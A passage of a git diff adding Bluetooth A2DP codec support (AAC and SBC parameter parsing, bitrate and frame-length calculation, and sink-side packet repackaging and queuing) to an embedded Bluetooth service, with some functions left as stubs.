info.bit_rate, param->u32BitRate); + BT_LOGD("%s:\n \ + u16ObjectType:0x%02x,\n \ + u16VariableBitRate:0x%02x, \n \ + u16ChannelMode:0x%02x,\n \ + u16NumOfChannels:%d,\n \ + u32SampleRate:%" PRIu32 ",\n \ + u32BitRate:%" PRIu32, + __func__, param->u16ObjectType, + param->u16VariableBitRate, + param->u16ChannelMode, + param->u16NumOfChannels, + param->u32SampleRate, + param->u32BitRate); + + return 0; +} diff --git a/service/profiles/a2dp/codec/a2dp_codec_aac.h b/service/profiles/a2dp/codec/a2dp_codec_aac.h new file mode 100644 index 0000000000000000000000000000000000000000..267c73f8f32ef4548757c7bc57241738b096e0a1 --- /dev/null +++ b/service/profiles/a2dp/codec/a2dp_codec_aac.h @@ -0,0 +1,85 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_CODEC_AAC_H__ +#define __A2DP_CODEC_AAC_H__ + +#include <stdint.h> + +// [Octet 0] Object Type +#define A2DP_AAC_OBJECT_TYPE_MPEG2_LC 0x80 /* MPEG-2 Low Complexity */ +#define A2DP_AAC_OBJECT_TYPE_MPEG4_LC 0x40 /* MPEG-4 Low Complexity */ +#define A2DP_AAC_OBJECT_TYPE_MPEG4_LTP 0x20 /* MPEG-4 Long Term Prediction */ +#define A2DP_AAC_OBJECT_TYPE_MPEG4_SCALABLE 0x10 + +// [Octet 1] Sampling Frequency - 8000 to 44100 +#define A2DP_AAC_SAMPLING_FREQ_MASK0 0xFF +#define A2DP_AAC_SAMPLING_FREQ_8000 0x80 +#define A2DP_AAC_SAMPLING_FREQ_11025 0x40 +#define A2DP_AAC_SAMPLING_FREQ_12000 0x20 +#define A2DP_AAC_SAMPLING_FREQ_16000 0x10 +#define A2DP_AAC_SAMPLING_FREQ_22050 0x08 +#define A2DP_AAC_SAMPLING_FREQ_24000 0x04 +#define A2DP_AAC_SAMPLING_FREQ_32000 0x02 +#define A2DP_AAC_SAMPLING_FREQ_44100 0x01 +// [Octet 2], [Bits 4-7] Sampling Frequency - 48000 to 96000 +// NOTE: Bits offset for the higher-order octet 16-bit integer +#define A2DP_AAC_SAMPLING_FREQ_MASK1 (0xF0 << 8) +#define A2DP_AAC_SAMPLING_FREQ_48000 (0x80 << 8) +#define A2DP_AAC_SAMPLING_FREQ_64000 (0x40 << 8) +#define A2DP_AAC_SAMPLING_FREQ_88200 (0x20 << 8) +#define A2DP_AAC_SAMPLING_FREQ_96000 (0x10 << 8) +// [Octet 2], [Bits 2-3] Channel Mode +#define A2DP_AAC_CHANNEL_MODE_MASK 0x0C +#define A2DP_AAC_CHANNEL_MODE_MONO 0x08 +#define A2DP_AAC_CHANNEL_MODE_STEREO 0x04 +// [Octet 2], [Bits 0-1] RFA +// [Octet 3], [Bit 7] Variable Bit Rate Supported +#define A2DP_AAC_VARIABLE_BIT_RATE_MASK 0x80 +#define A2DP_AAC_VARIABLE_BIT_RATE_ENABLED 0x80 +#define A2DP_AAC_VARIABLE_BIT_RATE_DISABLED 0x00 +// [Octet 3], [Bits 0-6] Bit Rate - Bits 16-22 in the 23-bit UiMsbf +#define A2DP_AAC_BIT_RATE_MASK0 (0x7F << 16) +#define A2DP_AAC_BIT_RATE_MASK1 (0xFF << 8) +#define A2DP_AAC_BIT_RATE_MASK2 0xFF + +typedef struct { + uint16_t u16ObjectType; + uint16_t u16VariableBitRate; + uint16_t u16ChannelMode; /* mono, streo */ + uint16_t u16NumOfChannels; /* 1, 2 */ + uint32_t u32SampleRate; + uint32_t u32BitRate; +} aac_encoder_param_t; + +int a2dp_codec_parse_aac_param(aac_encoder_param_t* param, uint8_t* codec_info, uint16_t tx_mtu_size); +#endif diff --git a/service/profiles/a2dp/codec/a2dp_codec_sbc.c b/service/profiles/a2dp/codec/a2dp_codec_sbc.c new file mode 100644 index 0000000000000000000000000000000000000000..f94834e186d7715191c5415322512e9083be0296 --- /dev/null +++ b/service/profiles/a2dp/codec/a2dp_codec_sbc.c @@ -0,0 +1,271 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <assert.h> +#include <errno.h> +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "a2dp_codec_sbc.h" +#include "sbc_encoder.h" + +#define LOG_TAG "a2dp_codec_sbc" +#include "utils/log.h" + +typedef struct { + uint8_t samp_freq; /* Sampling frequency */ + uint8_t ch_mode; /* Channel mode */ + uint8_t block_len; /* Block length */ + uint8_t num_subbands; /* Number of subbands */ + uint8_t alloc_method; /* Allocation method */ + uint8_t min_bitpool; /* Minimum bitpool */ + uint8_t max_bitpool; /* Maximum bitpool */ +} a2dp_sbc_info_t; + +static int a2dp_parse_sbc_info(a2dp_sbc_info_t* info, uint8_t* codec_info) +{ + if (info == NULL || codec_info == NULL) { + return -1; + } + + info->samp_freq = *codec_info & BT_A2DP_SBC_SAMP_FREQ_MSK; + info->ch_mode = *codec_info & BT_A2DP_SBC_CH_MD_MSK; + codec_info++; + info->block_len = *codec_info & BT_A2DP_SBC_BLOCKS_MSK; + info->num_subbands = *codec_info & BT_A2DP_SBC_SUBBAND_MSK; + info->alloc_method = *codec_info & BT_A2DP_SBC_ALLOC_MD_MSK; + codec_info++; + info->min_bitpool = *codec_info++; + info->max_bitpool = *codec_info++; + + return 0; +} + +static int a2dp_get_sbc_allocation_method(a2dp_sbc_info_t* info) +{ + switch (info->alloc_method) { + case BT_A2DP_SBC_ALLOC_MD_S: + return SBC_SNR; + case BT_A2DP_SBC_ALLOC_MD_L: + return SBC_LOUDNESS; + default: + break; + } + + return -1; +} + +static int a2dp_get_sbc_blocks(a2dp_sbc_info_t* info) +{ + switch (info->block_len) { + case BT_A2DP_SBC_BLOCKS_4: + return SBC_BLOCK_0; + case BT_A2DP_SBC_BLOCKS_8: + return SBC_BLOCK_1; + case BT_A2DP_SBC_BLOCKS_12: + return SBC_BLOCK_2; + case BT_A2DP_SBC_BLOCKS_16: + return SBC_BLOCK_3; + default: + break; + } + + return -1; +} + +static int a2dp_get_sbc_subbands(a2dp_sbc_info_t* info) +{ + switch (info->num_subbands) { + case BT_A2DP_SBC_SUBBAND_4: + return SUB_BANDS_4; + case BT_A2DP_SBC_SUBBAND_8: + return SUB_BANDS_8; + default: + break; + } + + return -1; +} + +static int a2dp_get_sbc_samp_frequency(a2dp_sbc_info_t* info) +{ + switch (info->samp_freq) { + case BT_A2DP_SBC_SAMP_FREQ_16: + return SBC_SF_16000; + case BT_A2DP_SBC_SAMP_FREQ_32: + return SBC_SF_32000; + case BT_A2DP_SBC_SAMP_FREQ_44: + return SBC_SF_44100; + case BT_A2DP_SBC_SAMP_FREQ_48: + return SBC_SF_48000; + default: + break; + } + + return -1; +} + +static int a2dp_get_sbc_channel_mode(a2dp_sbc_info_t* info) +{ + switch (info->ch_mode) { + case BT_A2DP_SBC_CH_MD_MONO: + return SBC_MONO; + case BT_A2DP_SBC_CH_MD_DUAL: + return SBC_DUAL; + case BT_A2DP_SBC_CH_MD_STEREO: + return SBC_STEREO; + case BT_A2DP_SBC_CH_MD_JOINT: + return SBC_JOINT_STEREO; + default: + break; + } + + return -1; +} + +static int a2dp_get_sbc_channel_count(a2dp_sbc_info_t* info) +{ + return SBC_MAX_NUM_OF_CHANNELS; +} + +uint32_t a2dp_sbc_frame_length(sbc_param_t* param) +{ + uint32_t frame_len; + + if (param == NULL) { + BT_LOGE("%s, error param", __func__); + return 0; + } + + if (param->s16ChannelMode == SBC_MONO) { + BT_LOGE("%s, not support mono mode", __func__); + return 0; + } + + frame_len = 4 + (4 * param->s16NumOfSubBands * param->s16NumOfChannels) / 8 + ((param->s16NumOfBlocks * param->s16BitPool * (1 + (param->s16ChannelMode == SBC_DUAL)) + (param->s16ChannelMode == SBC_JOINT_STEREO) * param->s16NumOfSubBands) + 7) / 8; + + return frame_len; +} + +uint16_t a2dp_sbc_sample_frequency(uint16_t sample_frequency) +{ + uint16_t sampling_freq; + + if (sample_frequency == SBC_SF_16000) + sampling_freq = 16000; + else if (sample_frequency == SBC_SF_32000) + sampling_freq = 32000; + else if (sample_frequency == SBC_SF_44100) + sampling_freq = 44100; + else + sampling_freq = 48000; + + return sampling_freq; +} + +uint32_t a2dp_sbc_bit_rate(sbc_param_t* param) +{ + uint16_t samp_freq; + uint32_t bit_rate; + uint32_t frame_len; + + frame_len = a2dp_sbc_frame_length(param); + samp_freq = a2dp_sbc_sample_frequency(param->s16SamplingFreq); + bit_rate = (8 * frame_len * samp_freq) / (param->s16NumOfSubBands * param->s16NumOfBlocks); + BT_LOGD("%s, birtate: %" PRIu32, __func__, bit_rate); + + return bit_rate; +} + +void a2dp_codec_parse_sbc_param(sbc_param_t* param, uint8_t* codec_info) +{ + a2dp_sbc_info_t si; + + if (a2dp_parse_sbc_info(&si, codec_info) != 0) + return; + + param->s16SamplingFreq = a2dp_get_sbc_samp_frequency(&si); + param->s16ChannelMode = a2dp_get_sbc_channel_mode(&si); + param->s16NumOfSubBands = a2dp_get_sbc_subbands(&si); + param->s16NumOfChannels = a2dp_get_sbc_channel_count(&si); + param->s16NumOfBlocks = a2dp_get_sbc_blocks(&si); + param->s16AllocationMethod = a2dp_get_sbc_allocation_method(&si); + param->s16BitPool = si.max_bitpool; + param->u32BitRate = a2dp_sbc_bit_rate(param); + + BT_LOGD("%s:\n \ + s16SamplingFreq:%d,\n \ + s16ChannelMode:%d,\n \ + s16NumOfSubBands:%d,\n \ + s16NumOfChannels:%d,\n \ + s16NumOfBlocks:%d,\n \ + s16AllocationMethod:%d,\n \ + s16BitPool:%d,\n \ + u32BitRate:%" PRIu32, + __func__, param->s16SamplingFreq, + param->s16ChannelMode, + param->s16NumOfSubBands, + param->s16NumOfChannels, + param->s16NumOfBlocks, + param->s16AllocationMethod, + param->s16BitPool, + param->u32BitRate); +} + +uint16_t a2dp_sbc_frame_sample(sbc_param_t* param) +{ + return param->s16NumOfSubBands * param->s16NumOfBlocks; +} + +uint16_t a2dp_sbc_max_latency(sbc_param_t* param) +{ + /* todo: */ + return 0; +} + +uint8_t a2dp_sbc_bits_per_sample(sbc_param_t* param) +{ + /* todo: */ + return 0; +} + +uint32_t a2dp_sbc_encoded_audio_bitrate(sbc_param_t* param) +{ + return a2dp_sbc_bit_rate(param); +} + +uint8_t a2dp_get_sbc_ch_mode(sbc_param_t* param) +{ + /* todo: */ + return 0; +} \ No newline at end of file diff --git a/service/profiles/a2dp/codec/a2dp_codec_sbc.h b/service/profiles/a2dp/codec/a2dp_codec_sbc.h new file mode 100644 index 0000000000000000000000000000000000000000..03f4571315c2ff83e07ee02ba221963cec643b20 --- /dev/null +++ b/service/profiles/a2dp/codec/a2dp_codec_sbc.h @@ -0,0 +1,93 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_CODEC_SBC_H__ +#define __A2DP_CODEC_SBC_H__ + +#include "sbc_encoder.h" +/* the length of the SBC Media Payload header. */ +#define BT_A2DP_SBC_MPL_HDR_LEN 1 + +/* the sync word of the SBC Media Payload Header */ +#define A2DP_SBC_SYNCWORD 0x9C + +/* the LOSC of SBC media codec capabilitiy */ +#define BT_A2DP_SBC_INFO_LEN 6 + +/* for Codec Specific Information Element */ +#define BT_A2DP_SBC_SAMP_FREQ_MSK 0xF0 /* b7-b4 sampling frequency */ +#define BT_A2DP_SBC_SAMP_FREQ_16 0x80 /* b7:16 kHz */ +#define BT_A2DP_SBC_SAMP_FREQ_32 0x40 /* b6:32 kHz */ +#define BT_A2DP_SBC_SAMP_FREQ_44 0x20 /* b5:44.1kHz */ +#define BT_A2DP_SBC_SAMP_FREQ_48 0x10 /* b4:48 kHz */ + +#define BT_A2DP_SBC_CH_MD_MSK 0x0F /* b3-b0 channel mode */ +#define BT_A2DP_SBC_CH_MD_MONO 0x08 /* b3: mono */ +#define BT_A2DP_SBC_CH_MD_DUAL 0x04 /* b2: dual */ +#define BT_A2DP_SBC_CH_MD_STEREO 0x02 /* b1: stereo */ +#define BT_A2DP_SBC_CH_MD_JOINT 0x01 /* b0: joint stereo */ + +#define BT_A2DP_SBC_BLOCKS_MSK 0xF0 /* b7-b4 number of blocks */ +#define BT_A2DP_SBC_BLOCKS_4 0x80 /* 4 blocks */ +#define BT_A2DP_SBC_BLOCKS_8 0x40 /* 8 blocks */ +#define BT_A2DP_SBC_BLOCKS_12 0x20 /* 12blocks */ +#define BT_A2DP_SBC_BLOCKS_16 0x10 /* 16blocks */ + +#define BT_A2DP_SBC_SUBBAND_MSK 0x0C /* b3-b2 number of subbands */ +#define BT_A2DP_SBC_SUBBAND_4 0x08 /* b3: 4 */ +#define BT_A2DP_SBC_SUBBAND_8 0x04 /* b2: 8 */ + +#define BT_A2DP_SBC_ALLOC_MD_MSK 0x03 /* b1-b0 allocation mode */ +#define BT_A2DP_SBC_ALLOC_MD_S 0x02 /* b1: SNR */ +#define BT_A2DP_SBC_ALLOC_MD_L 0x01 /* b0: loundess */ + +#define BT_A2DP_SBC_MIN_BITPOOL 2 +#define BT_A2DP_SBC_MAX_BITPOOL 250 +#define BT_A2DP_SBC_BITPOOL_MIDDLE_QUALITY 35 + +/* for media payload header */ +#define BT_A2DP_SBC_HDR_F_MSK 0x80 +#define BT_A2DP_SBC_HDR_S_MSK 0x40 +#define BT_A2DP_SBC_HDR_L_MSK 0x20 +#define BT_A2DP_SBC_HDR_NUM_MSK 0x0F + +void a2dp_codec_parse_sbc_param(sbc_param_t* param, uint8_t* codec_info); +uint16_t a2dp_sbc_sample_frequency(uint16_t sample_frequency); +uint32_t a2dp_sbc_frame_length(sbc_param_t* param); +uint32_t a2dp_sbc_bit_rate(sbc_param_t* param); +uint16_t a2dp_sbc_max_latency(sbc_param_t* param); +uint8_t a2dp_sbc_bits_per_sample(sbc_param_t* param); +uint32_t a2dp_sbc_encoded_audio_bitrate(sbc_param_t* param); +uint16_t a2dp_sbc_frame_sample(sbc_param_t* param); +uint8_t a2dp_get_sbc_ch_mode(sbc_param_t* param); + +#endif diff --git a/service/profiles/a2dp/codec/sbc_encoder.h b/service/profiles/a2dp/codec/sbc_encoder.h new file mode 100644 index 0000000000000000000000000000000000000000..dc32c028bedc9a68f5baf1abeb4a9fc69db6475c --- /dev/null +++ b/service/profiles/a2dp/codec/sbc_encoder.h @@ -0,0 +1,77 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __SBC_ENCODER_H__ +#define __SBC_ENCODER_H__ + +#include <stddef.h> +#include <stdint.h> +#include <sys/types.h> + +#define SBC_MAX_NUM_OF_SUBBANDS 8 +#define SBC_MAX_NUM_OF_CHANNELS 2 +#define SBC_MAX_NUM_OF_BLOCKS 16 + +#define SBC_LOUDNESS 0 +#define SBC_SNR 1 + +#define SUB_BANDS_8 8 +#define SUB_BANDS_4 4 + +#define SBC_SF_16000 0 +#define SBC_SF_32000 1 +#define SBC_SF_44100 2 +#define SBC_SF_48000 3 + +#define SBC_MONO 0 +#define SBC_DUAL 1 +#define SBC_STEREO 2 +#define SBC_JOINT_STEREO 3 + +#define SBC_BLOCK_0 4 +#define SBC_BLOCK_1 8 +#define SBC_BLOCK_2 12 +#define SBC_BLOCK_3 16 + +typedef struct { + int16_t s16SamplingFreq; /* 16k, 32k, 44.1k or 48k*/ + int16_t s16ChannelMode; /* mono, dual, streo or joint streo*/ + int16_t s16NumOfSubBands; /* 4 or 8 */ + int16_t s16NumOfChannels; + int16_t s16NumOfBlocks; /* 4, 8, 12 or 16*/ + int16_t s16AllocationMethod; /* loudness or SNR*/ + int16_t s16BitPool; /* 16*numOfSb for mono & dual; + 32*numOfSb for stereo & joint stereo */ + uint32_t u32BitRate; +} sbc_param_t; + +#endif diff --git a/service/profiles/a2dp/sink/a2dp_sink_aac_stream.c b/service/profiles/a2dp/sink/a2dp_sink_aac_stream.c new file mode 100644 index 0000000000000000000000000000000000000000..5b364dbef0a6c72279ab724bd95b5e5e86a0d465 --- /dev/null +++ b/service/profiles/a2dp/sink/a2dp_sink_aac_stream.c @@ -0,0 +1,71 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include "a2dp_sink_audio.h" +#include <stdlib.h> +#include <string.h> + +#define LOG_TAG "sink_aac" +#include "utils/log.h" + +static a2dp_sink_packet_t* sink_aac_repackage(uint8_t* data, uint16_t length) +{ + a2dp_sink_packet_t* packet = NULL; + uint8_t LOAS_HDRSIZE = 3; + + /* pack aac loas header */ + packet = malloc(sizeof(a2dp_sink_packet_t) + length + LOAS_HDRSIZE); + if (packet) { + packet->data[0] = 0x56; + packet->data[1] = 0xE0 | ((length >> 8) & 0x1f); + packet->data[2] = length & 0xff; + packet->length = length + LOAS_HDRSIZE; + memcpy(packet->data + LOAS_HDRSIZE, data, length); + } + + return packet; +} + +static void sink_aac_packet_send_done(a2dp_sink_packet_t* packet) +{ + free(packet); +} + +static const a2dp_sink_stream_interface_t a2dp_sink_stream_aac = { + sink_aac_repackage, + sink_aac_packet_send_done, +}; + +const a2dp_sink_stream_interface_t* get_a2dp_sink_aac_stream_interface(void) +{ + return &a2dp_sink_stream_aac; +} diff --git a/service/profiles/a2dp/sink/a2dp_sink_audio.c b/service/profiles/a2dp/sink/a2dp_sink_audio.c new file mode 100644 index 0000000000000000000000000000000000000000..e6bc5a211703b3d36d82fedbb4596f62ea55c945 --- /dev/null +++ b/service/profiles/a2dp/sink/a2dp_sink_audio.c @@ -0,0 +1,317 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "a2dp_control.h" +#include "a2dp_sink.h" +#include "a2dp_sink_audio.h" +#include "audio_transport.h" +#include "bt_list.h" +#include "bt_utils.h" + +#include "service_loop.h" + +#define LOG_TAG "a2dp_snk_stream" +#include "utils/log.h" + +#define A2DP_SINK_MEDIA_TICK_MS 20 +#define A2DP_MAX_DELAY_PACKET_COUNT 5 +#define A2DP_MAX_ENQUEUE_PACKET_COUNT 14 +#define A2DP_ASYNC_SEND_COUNT 14 + +typedef enum { + STATE_OFF, + STATE_FLUSHING, + STATE_RUNNING, + STATE_SUSPENDING, + STATE_WAIT4_SUSPENDED, +} stream_state_t; + +typedef struct { + uint8_t codec_info[10]; + uint8_t packet_sending_cnt; + uint64_t underflow_ts; + uint64_t last_ts; + uint32_t block_ticks; + bool ready; + stream_state_t state; + uv_mutex_t queue_lock; + service_timer_t* media_alarm; + struct list_node packet_queue; + const a2dp_sink_stream_interface_t* stream_interface; +} a2dp_sink_stream_t; + +extern audio_transport_t* a2dp_transport; +a2dp_sink_stream_t sink_stream = { 0 }; + +static const a2dp_sink_stream_interface_t* get_stream_interface(void) +{ + a2dp_codec_config_t* config; + + config = a2dp_codec_get_config(); + if (config->codec_type == BTS_A2DP_TYPE_SBC) + return get_a2dp_sink_sbc_stream_interface(); +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC + else if (config->codec_type == BTS_A2DP_TYPE_MPEG2_4_AAC) + return get_a2dp_sink_aac_stream_interface(); +#endif + + abort(); + return NULL; +} + +static void a2dp_sink_write_done(uint8_t ch_id, uint8_t* buffer) +{ + a2dp_sink_stream_t* stream = &sink_stream; + + if (stream->packet_sending_cnt > 0) + stream->packet_sending_cnt--; +} + +static void a2dp_sink_flush_packet_queue(void) +{ + struct list_node *node, *tmp; + + list_for_every_safe(&sink_stream.packet_queue, node, tmp) + { + list_delete(node); + free(node); + } +} + +static void a2dp_sink_audio_handle_timer(service_timer_t* timer, void* arg) +{ + a2dp_sink_stream_t* stream = &sink_stream; + struct list_node* queue = &stream->packet_queue; + a2dp_sink_packet_t* packet = NULL; + struct list_node *node, *tmp; + int ret; + + uint64_t now_us = bt_get_os_timestamp_us(); +#ifndef CONFIG_ARCH_SIM + if (stream->last_ts && ((now_us - stream->last_ts) > 30000)) + BT_LOGD("===a2dp cpu busy time:%" PRIu64 ", buff_cnt:%zu===", now_us - stream->last_ts, list_length(&sink_stream.packet_queue)); + stream->last_ts = now_us; +#endif + + uv_mutex_lock(&stream->queue_lock); + if (list_is_empty(queue) == true) { + if (!stream->underflow_ts) + stream->underflow_ts = now_us; + goto out; + } + + if (stream->underflow_ts) { + uint64_t miss_tick = (now_us - stream->underflow_ts) / (uint64_t)(A2DP_SINK_MEDIA_TICK_MS * 1000); + if (miss_tick > 2) + BT_LOGD("%s underflow, miss ticks: %" PRIu64, __func__, miss_tick); + stream->underflow_ts = 0; + } + + list_for_every_safe(queue, node, tmp) + { + if (stream->packet_sending_cnt == 